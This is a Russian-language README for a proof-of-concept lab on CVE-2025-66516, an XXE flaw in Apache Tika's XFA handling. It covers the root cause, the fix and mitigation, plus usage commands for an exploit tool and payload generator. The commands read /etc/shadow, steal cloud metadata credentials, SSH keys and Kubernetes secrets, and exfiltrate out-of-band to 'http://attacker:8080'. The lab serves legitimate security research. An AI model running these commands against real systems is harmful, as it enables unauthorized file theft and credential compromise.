CVE-2025-66516: Критическая уязвимость XXE в Apache Tika

Краткое описание

CVE-2025-66516 — это критическая уязвимость внедрения XML-внешних сущностей (XXE) в Apache Tika с оценкой CVSS 10.0 (максимальная степень серьезности). Уязвимость позволяет удаленным злоумышленникам читать произвольные файлы, выполнять подделку серверных запросов (SSRF) и похищать конфиденциальные данные путем загрузки специально созданного PDF-документа, содержащего вредоносное содержимое XFA (XML Forms Architecture).

Затронутые версии

Важно: Этот CVE заменяет CVE-2025-54988, в котором ошибочно указывалось, что уязвим только PDF-модуль. Фактически уязвимость находится в tika-core.

Технический анализ

Уязвимость

Уязвимость представляет собой дефект внедрения XML-внешних сущностей (XXE) в том, как Apache Tika обрабатывает данные XFA (XML Forms Architecture) внутри PDF-документов.

Проблема: Tika полагается на базовые XML-парсеры Java (в частности, StAX-парсер) для чтения XFA XML-содержимого. В уязвимых версиях не удавалось корректно настроить парсер для отключения разрешения внешних сущностей. Когда парсер встречает запрос внешней сущности (например, SYSTEM "file:///etc/passwd"), он разрешает его и возвращает содержимое файла.

Местоположение: Ошибка существует в XMLReaderUtils.getXMLInputFactory() в tika-core:

public static XMLInputFactory getXMLInputFactory() {
    XMLInputFactory factory = XMLInputFactory.newFactory();
    tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE, true);
    tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING, false);
    factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER);  // <-- Неэффективно
    return factory;
}

IGNORING_STAX_ENTITY_RESOLVER предназначался для блокировки XXE путем возврата пустого результата, но он возвращал String вместо ожидаемого InputStream. Стандартный StAX-парсер JDK молча игнорировал этот некорректный тип возвращаемого значения и возвращался к поведению по умолчанию, которое разрешает внешние сущности.

Исправление (Tika 3.2.2)

Исправление явно отключает поддержку DTD и внешних сущностей на уровне фабрики:

tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD, false);
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);

Кроме того, резолвер был изменен для возврата корректного типа InputStream.

Случайная защита Woodstox

В экосистеме Java существует множество библиотек XML-парсеров. Приложения используют тот парсер, который сконфигурирован или найден первым в classpath.

Что такое Woodstox? Woodstox — это высокопроизводительный StAX-парсер XML с открытым исходным кодом, обычно поставляемый вместе с Java-приложениями.

Как он обеспечивает защиту: По замыслу (а не случайно), реализация Woodstox корректно обрабатывает тип возвращаемого значения XMLResolver. Когда Woodstox получает строковое возвращаемое значение от IGNORING_STAX_ENTITY_RESOLVER, он интерпретирует его как допустимое пустое содержимое, эффективно блокируя XXE.

Критическое различие:

• tika-server-standard.jar включает Woodstox — НЕ УЯЗВИМ
• tika-core + модули парсеров (встроенное использование) НЕ включают Woodstox — УЯЗВИМ
• Приложения, использующие стандартный StAX-парсер JDK — УЯЗВИМЫ

Быстрый старт

Проверка уязвимости

# 1. Запустите лабораторную среду
docker-compose up -d --build

# 2. Проверка на уязвимом Tika (JDK StAX, порт 9997)
python poc/exploit.py --url http://localhost:9997 --check

# 3. Извлечение /etc/passwd
python poc/exploit.py --url http://localhost:9997 --file /etc/passwd

# 4. Сравнение с защищенным Tika (Woodstox, порт 9998)
python poc/exploit.py --url http://localhost:9998 --check

Лабораторная среда

Структура каталогов

CVE-2025-66516/
|-- docker-compose.yml              # Оркестрация лаборатории
|-- vulnerable-tika/
|   |-- Dockerfile                  # Tika с Woodstox (защищен)
|   +-- Dockerfile.jdk-stax         # Tika без Woodstox (УЯЗВИМ)
|-- webapp/
|   |-- Dockerfile
|   |-- app.py                      # Flask-приложение для загрузки
|   +-- templates/
|-- poc/
|   |-- exploit.py                  # Инструмент автоматической эксплуатации
|   +-- generate_payload.py         # Генератор вредоносных PDF
+-- README.md

Сервисы

Запуск лаборатории

docker-compose up -d --build

Инструменты доказательства концепции

1. Инструмент автоматической эксплуатации (exploit.py)

Полноценная эксплуатация с автоматической генерацией полезной нагрузки и извлечением данных.

# Проверка, уязвима ли цель
python poc/exploit.py --url http://target:9998 --check

# Чтение локальных файлов
python poc/exploit.py --url http://target:9998 --file /etc/passwd
python poc/exploit.py --url http://target:9998 --file /etc/shadow

# Кража метаданных AWS (экземпляры EC2)
python poc/exploit.py --url http://target:9998 --aws-metadata

# Секреты Kubernetes
python poc/exploit.py --url http://target:9998 --k8s-secrets

# SSRF к внутренним сервисам
python poc/exploit.py --url http://target:9998 --ssrf http://internal:8080/admin

# Сохранение извлеченных данных
python poc/exploit.py --url http://target:9998 --file /etc/passwd --save loot.txt

2. Генератор полезной нагрузки (generate_payload.py)

Генерирует вредоносные PDF-файлы для ручного тестирования или интеграции с другими инструментами.

# Генерация нагрузки для конкретного файла
python poc/generate_payload.py --target /etc/passwd --output exploit.pdf

# Генерация SSRF-нагрузки
python poc/generate_payload.py --target http://169.254.169.254/latest/meta-data/ --output ssrf.pdf

# Генерация нагрузки для OOB-эксфильтрации
python poc/generate_payload.py --target /etc/passwd --callback http://attacker:8080 --output oob.pdf

# Использование пресетов режимов атаки
python poc/generate_payload.py --mode aws_metadata --output aws.pdf
python poc/generate_payload.py --mode k8s_secrets --all-targets --output ./payloads/

# Список доступных режимов атаки
python poc/generate_payload.py --list-modes

Доступные режимы атаки:

• file_read — чтение локальных файлов (/etc/passwd, /etc/shadow и т.д.)
• ssh_keys — кража приватных ключей SSH
• aws_metadata — метаданные AWS EC2 и учетные данные IAM
• gcp_metadata — токены сервисных учетных записей GCP
• azure_metadata — токены управляемых удостоверений Azure
• k8s_secrets — учетные данные сервисных учетных записей Kubernetes
• webapp_configs — распространенные конфигурации веб-приложений
• ssrf_internal — проверка внутренних сервисов

Результаты тестирования

Уязвимая конфигурация (JDK StAX — без Woodstox)

Тестирование против Tika 2.9.2 без Woodstox (имитация встроенных развертываний):

Доказательство эксплуатации:

<li fieldName="data">data: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Защищенная конфигурация (Woodstox StAX)

Тестирование против Tika 2.9.2 с Woodstox (стандартный tika-server-standard.jar):

Вывод показывает пустую сущность:

<li fieldName="data">data: </li>

Заключение

Уязвимость реальна и критична. Эксплуатация зависит от реализации StAX:

• [PROTECTED] tika-server-standard.jar — встроенный Woodstox блокирует XXE
• [VULNERABLE] Встроенный Tika (tika-core + парсеры) — по умолчанию использует JDK StAX
• [VULNERABLE] Пользовательские развертывания без Woodstox
• [VULNERABLE] Корпоративные интеграции (Elasticsearch, Solr, Alfresco) — часто используют встроенный Tika

Возможности XXE-атак

XXE — это, по сути, уязвимость чтения файлов/SSRF, а не прямого RCE. Тем не менее, она открывает несколько путей атаки:

Прямые атаки

Эскалация до RCE

Устранение уязвимости

Немедленные действия

1. Обновите Apache Tika до версии 3.2.2 или новее

   root@kitploit:~

   <dependency>
       <groupId>org.apache.tika</groupId>
       <artifactId>tika-core</artifactId>
       <version>3.2.2</version>
   </dependency>
   

2. Убедитесь, что все компоненты Tika обновлены (tika-core И модули парсеров)

Оценка рисков

Эшелонированная защита

1. Проверка входных данных — проверяйте типы загружаемых файлов
2. Сегментация сети — изолируйте обработку Tika
3. Минимальные привилегии — минимальные права на файловую систему
4. Мониторинг — оповещения о необычном доступе к файлам

История исследования

Возникшие проблемы

Проблема 1: Первоначальный эксплойт не сработал

• XFA была обнаружена, но XXE никогда не срабатывала
• Потрачено время на отладку структуры полезной нагрузки

Проблема 2: Ошибка множественных XML-объявлений

• Ошибка: WstxParsingException: Illegal processing instruction target ("xml")
• Причина: каждый поток XFA включал XML-объявления
• Исправление: включать объявление только в преамбулу, а не в подпотоки

Проблема 3: Загадка Woodstox

• Все полезные нагрузки не срабатывали против tika-server-standard.jar
• Обнаружено, что Woodstox был включен в сборку и блокировал XXE
• Создан Dockerfile.jdk-stax для тестирования без Woodstox

Проблема 4: Тестирование неправильной конфигурации

• Потеряно время на защищенной конфигурации
• Урок: перед тестированием необходимо понимать полное дерево зависимостей

Извлеченные уроки

1. Оценкам CVSS нужен контекст — факторы среды влияют на эксплуатируемость
2. Тестируйте минимальные конфигурации — не предполагайте наличие встроенных зависимостей
3. XML-парсеры сильно различаются — один и тот же код ведет себя по-разному с разными парсерами
4. Встроенный != Серверный — использование библиотеки часто имеет другие зависимости
5. Сообщения об ошибках — это подсказки — исключения парсера раскрывают детали реализации

Ссылки

• Консультация по безопасности Apache Tika
• Коммит с исправлением
• Запись в NVD
• Обсуждение в списке рассылки Apache Tika

Хронология

Отказ от ответственности

Эта лабораторная среда и код доказательства концепции предоставлены только для авторизованного тестирования безопасности, образовательных целей и оборонительных исследований.

Не используйте эти инструменты против систем без явного письменного разрешения.

Лицензия

Этот исследовательский материал предоставлен в образовательных целях. Используйте ответственно.